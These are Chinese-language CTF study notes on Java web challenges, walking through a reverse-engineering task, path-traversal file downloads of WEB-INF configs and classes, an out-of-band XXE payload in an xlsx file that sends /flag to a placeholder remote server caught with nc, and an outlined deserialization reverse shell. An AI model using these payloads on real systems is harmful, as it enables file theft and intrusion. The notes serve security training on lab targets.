思維導圖
Java常考點及出題思路
考點技術:xxe,spel表達式,反序列化,文件安全,最新框架插件漏洞等
設法間接給出源碼或相關配置提示文件,間接性源碼或直接源碼體現等形式
CTF中常見Web源碼泄露總結(參考:https://www.cnblogs.com/xishaonian/p/7628153.html)
- .ng源碼泄露
- git源碼泄露
- .Ds_store文件泄漏
- 網站備份壓縮文件
- SVN導致文件泄露
- WEB-INF/web. xml泄露
- CVS泄漏
Java必備知識點
反編譯,基礎的Java代碼認知及審計能力,熟悉相關最新的漏洞,常見漏洞等
本課重點:
- 案例1:Java簡單逆向解密-Reverse-buuoj-逆向源碼
- 案例2:RoarCTF-2019-easy_java-配置到源碼
- 案例3:網鼎杯2020-青龍組-filejava-ctfhub-配置到源碼
- 案例4:網鼎杯-朱雀組-Web-think_java-直接源碼審計
案例1:Java簡單逆向解密-Reverse-buuoj-逆向源碼
靶場地址:https://buuoj.cn/challenges#Java逆向解密
知識點:java項目格式解析,加解密腳本等
下載提示文件-class反編譯Java文件-加密算法-解密腳本
<1>下載附件,將源碼用idea打開,分析加密算法,得知加密算法時是將原始key先加64再異或32得到加密后的key,如下圖所示。
<2>自己編寫一個解密算法,將加密后的key先異或32再減64,得到原始key。
案例2:RoarCTF-2019-easy_java-配置到源碼
靶場地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java
知識點:下載漏洞利用,配置文件解析,Javaweb項目結構等
提示-下載漏洞-更換請求方法-獲取源碼配置文件-指向Flag-下載class-反編譯
WEB-INF主要包含以下文件或目錄:
- /WEB-INF/web.xml:web應用程序配置文件,描述了servlet和其他的應用組件配置及命名規則。
- /WEB-INF/classes/:包含了站點所有用的class文件,包括servlet class和非servlet class,他們不能包含在.jar文件中
- /WEB-INF/lib/:存放web應用需要的各種JAR文件,放置僅在這個應用中要求使用的jar文件,如數據庫驅動jar文件
- /WEB-INF/src/:源碼目錄,按照包名結構放置各個java文件。
- /WEB-INF/database.properties:數據庫配置文件
漏洞檢測以及利用方法:通過找到web.xml文件,推斷class文件的路徑,最后直接查看或下載class文件,再通過反編譯class文件,得到網站源碼
<1>進入場景,是個登錄框
<2>點擊help,顯示如下,url為/Download?filename=help.docx,猜測有任意文件下載漏洞。
<3>嘗試下載/WEB-INF/web.xml文件,失敗。
<4>改為post請求方法提交,成功下載(這腦洞有點大,此后下載均用post)。
<5>根據web.xml內容,找到與Flag相關class,嘗試下載,下載成功
POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
<6>反編譯class文件,得到網站源碼,找到base64編碼后的flag。
<7>經過base64解碼,得到flag。
案例3:網鼎杯2020-青龍組-filejava-ctfhub-配置到源碼
https://xz.aliyun.com/t/7272 一篇文章讀懂Java代碼審計之XXE
https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解
https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常見的XXE漏洞寫法和防御
https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型場景分析
靶場地址:https://www.ctfhub.com/#/challenge 搜索FileJava
過關思路:
JavaWeb程序,編譯class格式,配置文件獲取文件路徑信息,IDEA打開查看
../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
代碼審計Javaweb代碼,發現flag位置,文件下載獲取?過濾,利用漏洞XXE安全
<1>頁面打開如下,是一個文件上傳功能。
<2>隨便上傳一個文件,發現返回一個文件下載鏈接。
<3>點擊文件下載,看到請求包格式,猜測有任意文件下載漏洞。
<4>構造filename值,嘗試下載/WEB-INF/web.xml文件,下載成功
<5>根據/WEB-INF/web.xml文件內容,找到class文件,全部下載
filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
<6>idea反編譯class文件,得到網站源碼,分析源碼,發現文件下載時過濾flag關鍵字,因此不能在此處直接下載flag文件。
<7>繼續分析源碼,找到poi-ooxml-3.10,該版本存在XXE漏洞(CVE-2014-3529)
<8>構造上傳文件
(a)本地新建excel-aaa.xlsx文件,修改后綴名.zip,打開壓縮包,其中有[Content-Types].xml文件。
(b)修改[Content-Types].xml,第二行添加如下內容,保存。
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://遠程服務器IP:3333/xxx.dtd"> %remote;%int;%send; ]>
(c)將修改后的壓縮包重新修改后綴為.xlsx文件
<9>構造遠程監控
(a)進入遠程服務器WEB根目錄,創建文件xxx.dtd,添加內容
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM '遠程服務器IP:3333/%file;'>">
(b)啟動監控 :nc -lvvp 3333
<10>一切准備就緒,上傳excel-aaa.xlsx文件
<11>查看nc監聽結果,得到flag
案例4:網鼎杯-朱雀組-Web-think_java-直接源碼審計
靶場地址:https://www.ctfhub.com/\#/challenge
解題思路:
- 注入判斷,獲取管理員帳號密碼
- /swagger-ui.html接口測試,回顯序列化token(rO0AB開頭)
- SerializationDumper工具生成反序列化payload(反彈shell)-->base64編碼-->最終payload
- 使用該payload訪問接口/common/user/current
- 啟動監聽,獲取flag:nc -lvvp 4444
具體解題步驟參考:38:WEB漏洞-反序列化之PHP&JAVA全解(下)(https://www.cnblogs.com/zhengna/p/15737517.html)